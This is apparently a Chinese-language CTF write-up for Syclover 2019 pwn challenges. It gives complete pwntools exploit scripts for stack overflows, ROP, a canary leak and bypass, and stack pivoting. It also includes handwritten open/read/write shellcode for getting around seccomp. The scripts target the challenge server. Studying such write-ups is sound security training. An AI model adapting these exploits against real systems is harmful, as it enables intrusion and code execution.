Syclover2019 WP
pwn
Find Tools
没有附件,只给了远程环境,目的是让我们使用pwntools工具,exp如下:
from pwn import * p=remote('pwnto.fun',9999) p.recvuntil("password:") p.send('l1ve_l0ng_and_pwn') #此处不能使用sendline(引入'\n') p.recv() print p.recv #!将接收到的flag打印出来 #p.interactive() 这道题只是发送和接收包,flag是通过接收得到的,而不是通过拿到shell得到的,所以并不需要交互
pwntools IO模块使用:
p.send(data) #发送数据 p.sendline(data) #!! 发送数据和'\n' p.recv(numb=2048,timeout=default) #接收指定字节和超时的数据 p.recvline(keepends=True) #接收一行数据 p.recvuntil("...",drop=false) #接收数据直到我们设置的标志 p.recvall( ) #一直接收到EOF为止 p.recvrepeat(timeout=default) #持续接收直到EOF出现或超时 p.interactive( ) #得到shell后进入交互模式
Baby rop
查看保护:
开启了NX保护,rop解决,exp如下:
from pwn import * context(log_level='debug') p=remote('pwnto.fun',10000) payload='a'*0x88+p64(0x400618) #p.recvuntil('me?\n') p.send(payload) p.interactive()
注:
1.开启了NX保护,我们不能利用在数据域上的/bin/sh:
但是题目留了gadgets:
2.一开始按照代码逻辑应该是先puts( )的,但是nc连接测试后发现需要我们先输入,故直接发送payload即可
3.gets( )和read( )函数对应sendline( )&send( )的情况
Baby Shellcode
首先查看保护:
没有canary保护可以直接栈溢出,64位反汇编:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char v4; // [rsp+0h] [rbp-30h] void *buf; // [rsp+28h] [rbp-8h] buf = mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); sub_400999(); sub_400956(); puts("A simple shellcode for U, have fun!"); read(0, buf, 0x64uLL); puts("Why not play CSGO?"); read(0, &v4, 0x64uLL); return 0LL; }
其中,
void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)
start:要映射到的内存区域的起始地址,通常用NULL,表示由内核来指定该内存地址。所以我们看到buf指向从地址0x123000开始的一段内存,同时有两个可以利用的read函数,大致思路应该是:先向buf指向的内存中注入shellcode,再利用第二个read函数栈溢出执行我们的shellcode。
发现有hint:
和HitconTraining-LAB2极其相似,留了后门函数但是无法实现:
这是因为程序中开启了seccomp保护:
seccomp是一种内核中的安全机制,正常情况下程序可以使用所有的syscall,而使用了seccomp后我们可以禁用一些syscall。hint中提示我们只能使用open\write\read三个函数(orw),所以我们的任务就是注入通过open\write\read读取flag文件的shellcode,exp如下:
from pwn import * context(arch='amd64',os='linux') #生成64位下的shellcode p=remote('pwnto.fun',12300) #p=process('./RushB') shellcode = shellcraft.pushstr("flag") #根据hint,flag和bin在同一目录下 shellcode += shellcraft.open("rsp") shellcode += shellcraft.read("rax", "rsp", 0x30) shellcode += shellcraft.write(1, "rsp", 0x30) #ssize_t read(int fd, void *buf, size_t count); #ssize_t write (int fd, const void * buf, size_t count); p.recvuntil("A simple shellcode for U, have fun!\n") p.send(asm(shellcode)) shellcode_addr=0x123000 p.recvuntil("CSGO?\n") payload='a'*0x38+p64(shellcode_addr) p.send(payload)
p.interactive()
Baby Canary
如题,开启了canary保护和NX保护,这说明我们不能使用正常的栈溢出,
64位反汇编:
int __cdecl main(int argc, const char **argv, const char **envp) { void *buf; // ST08_8 int fd; // [rsp+4h] [rbp-2Ch] char v6; // [rsp+10h] [rbp-20h] unsigned __int64 v7; // [rsp+28h] [rbp-8h] v7 = __readfsqword(0x28u); init(); fd = open("flag", 0); if ( fd < 0 ) { printf("Not find flag, Wrong!"); exit(0); } buf = malloc(0x20uLL); read(fd, buf, 0x10uLL); puts("Rop is easy for U, try bypass the check!"); printf("Here is your key: %p\n", buf); puts("Say something before leaving."); gets((__int64)&v6); printf("I hava received your message, bye!"); return 0; }
其中,buf指向一段内存空间,flag文件的内容读入到了这段内存空间中,同时给了我们key,也即内存空间(flag文件内容)的地址。
在学长的hint下才有了解题的正确方式emmm,wtcl,其实这道题和上一道有一点相似之处在于我们不需要get shell,只需要读取flag文件内容。根据这两点,其实我们不需要执行key,而是得到key中存储的内容,这就排除了泄露\爆破canary的做法。所以这道题是触发canary,执行__stack_chk_fail( )函数,泄露出flag内容,原理如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminatedn", msg, __libc_argv[0] ?: "<unknown>"); }
从__stack_chk_fail( )函数定义中可以看出,报错信息会打印出__libc__argv[0]中存储的字符串, 如果我们将其覆盖成key值,就能打印出flag了。
在main( )函数下断点:
看到RSI寄存器中存储了参数__libc__argv[0],我们需要将其改成key,
从IDA中得到我们输入的字符串距离栈底ebp 0x20,通过|rbp-20h-rsi|的值来得到正确的偏移量,于是exp如下:
from pwn import * context(log_level='debug') p=remote('pwnto.fun',10007) p.recvuntil("key: ") flag_addr=int(p.recv(8),16) #64位接收8个字节 #print flag_addr payload='a'*0x108+p64(flag_addr) #0x108就是我们的偏移量 p.recvuntil("leaving.\n") p.send(payload) p.interactive()
Easy canary
最常见的canary泄露套路,关键部分:
unsigned int fun() { char buf; // [esp+8h] [ebp-20h] unsigned int v2; // [esp+1Ch] [ebp-Ch] v2 = __readgsdword(0x14u); puts("The is a baby rop ! Hava fun!"); puts("So, do u have anything to tell me?"); read(0, &buf, 0x32u); puts("Here is your gift: "); puts(&buf); puts("Keep try!"); read(0, &buf, 0x64u); return __readgsdword(0x14u) ^ v2; }
利用read( )函数触发canary保护机制后利用puts(&buf)函数泄露canary的值,利用第二次的read( )函数覆盖canary绕过保护,利用程序中的root函数(gadgets)实现栈溢出拿到shell,exp如下:
from pwn import * context(log_level='debug') p=remote('pwnto.fun',10001) payload1='a'*(0x20-0xC) p.recvuntil("me?\n") p.sendline(payload1) p.recvuntil("gift: \n") p.recvuntil('a'*20) canary=u32(p.recv(4))-0xa print hex(canary) p.recvuntil("try!\n") payload2='a'*(0x20-0xC)+p32(canary)+'a'*0xC+p32(0x08048647) p.send(payload2) p.interactive()
注:此处我们必须发送多发送一个字节触发canary保护才能实现泄露.
Not bad
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); sub_400949(); sub_400906(); sub_400A16(); return 0LL; }
程序一开始为我们分配了从0x123000开始的一段连续的内存空间,也就是说有一段内存可以供我们随便读写执行,比如写入并执行shellcode和存放flag内容,可以看到:
int sub_400A16() { char buf; // [rsp+0h] [rbp-20h] puts("Easy shellcode, have fun!"); read(0, &buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!"); }
这里的read的长度只有0x38,不够存放orw,因此我们这里可以利用构造rop,执行read函数,读入shellcode到分配的内存上,利用
栈迁移执行shellcode,exp如下:
from pwn import * #p=process('./bad') p=remote('pwnto.fun',12301) context(log_level='debug',os='linux',arch='amd64') #gdb.attach(p) #jmp_rsp的地址 jmp_rsp_addr=0x0000000000400a01 #read(0,0x123000,0x100) #x64下read函数的调用号为0(rax传入),rdi存放第一个参数,rsi存放第二个参数,rdx存放第三个参数 shellcode=''' xor rdi,rdi push 0x123100 pop rsi push 0x100 pop rdx xor rax,rax syscall ''' #利用jmp rsp; sub rsp,xxx; jmp rsp; 劫持rsp控制程序执行流程,在栈上进行了跳转 sub_jmp=''' sub rsp,0x30 jmp rsp ''' #劫持rsp到具体的地址 #此处曾尝试写入地址跳转值0X123000但在环境ubuntu18.04中一直无法实现 jmp_123100=''' push 0x123100 pop rsp jmp rsp ''' #将shellcode存放于0x123100处并劫持rsp进行执行 read_addr=asm(shellcode)+asm(jmp_123100) #栈溢出 payload1=read_addr+'a'*(0x28-len(read_addr))+p64(jmp_rsp_addr)+asm(sub_jmp) p.recvuntil("Easy shellcode, have fun!\n") p.sendline(payload1) #open(const char *filename,int flags,int mode) x64下调用号2(rax) #push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi open=''' push 0x67616c66 push rsp pop rdi xor rsi,rsi xor rdx,rdx push 2 pop rax syscall ''' #read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中 read=''' push rax pop rdi push 0x123200 pop rsi push 0x100 pop rdx xor rax,rax syscall ''' #write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1 write=''' push 1 pop rdi push 1 pop rax syscall ''' #在syscall read时注入shellcode payload2=asm(open)+asm(read)+asm(write) p.sendline(payload2) p.interactive()